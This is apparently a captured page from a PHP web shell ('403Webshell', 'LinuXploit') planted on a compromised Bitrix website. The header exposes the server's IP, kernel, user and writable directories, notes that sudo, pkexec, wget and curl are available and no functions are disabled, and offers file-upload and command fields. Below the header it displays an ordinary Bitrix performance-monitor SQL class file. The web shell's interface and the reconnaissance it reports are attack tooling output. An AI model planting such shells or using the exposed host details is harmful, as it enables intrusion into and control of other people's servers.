403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/lib/sql/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/perfmon/lib/sql/procedure.php
<?php
namespace Bitrix\Perfmon\Sql;

class Procedure extends BaseObject
{
	public $type = '';

	/**
	 * @param string $name Name of stored procedure.
	 * @param string $type Type of stored procedure.
	 */
	public function __construct($name = '', $type = '')
	{
		parent::__construct($name);
		$this->type = (string)$type;
	}

	/**
	 * Creates stored procedure object from tokens.
	 * <p>
	 * Current position should point to the type of the stored procedure (PROCEDURE, FUNCTION or TYPE).
	 * <p>
	 * Name may consist of two parts divided by '.'.
	 *
	 * @param Tokenizer $tokenizer Tokens collection.
	 *
	 * @return Procedure
	 */
	public static function create(Tokenizer $tokenizer)
	{
		$type = $tokenizer->getCurrentToken()->text;
		$tokenizer->nextToken();
		$tokenizer->skipWhiteSpace();

		$name = $tokenizer->getCurrentToken()->text;
		$token = $tokenizer->nextToken();
		if ($token->text === '.')
		{
			$token = $tokenizer->nextToken();
			$name .= '.' . $token->text;
		}
		$procedure = new self($name, $type);

		$tokenizer->resetState();
		$definition = '';
		while (!$tokenizer->endOfInput())
		{
			$definition .= $tokenizer->getCurrentToken()->text;
			$tokenizer->nextToken();
		}

		$procedure->setBody($definition);

		return $procedure;
	}

	/**
	 * Return DDL for procedure creation.
	 *
	 * @param string $dbType Database type (MYSQL, ORACLE or MSSQL).
	 *
	 * @return array|string
	 */
	public function getCreateDdl($dbType = '')
	{
		return $this->body;
	}

	/**
	 * Return DDL for procedure destruction.
	 *
	 * @param string $dbType Database type (MYSQL, ORACLE or MSSQL).
	 *
	 * @return array|string
	 */
	public function getDropDdl($dbType = '')
	{
		return 'DROP ' . $this->type . ' ' . $this->name;
	}

	/**
	 * Return DDL for procedure modification.
	 *
	 * @param BaseObject $target Target object.
	 * @param string $dbType Database type (MYSQL, ORACLE or MSSQL).
	 *
	 * @return array|string
	 */
	public function getModifyDdl(BaseObject $target, $dbType = '')
	{
		return [
			$this->getDropDdl($dbType),
			$target->getCreateDdl($dbType),
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit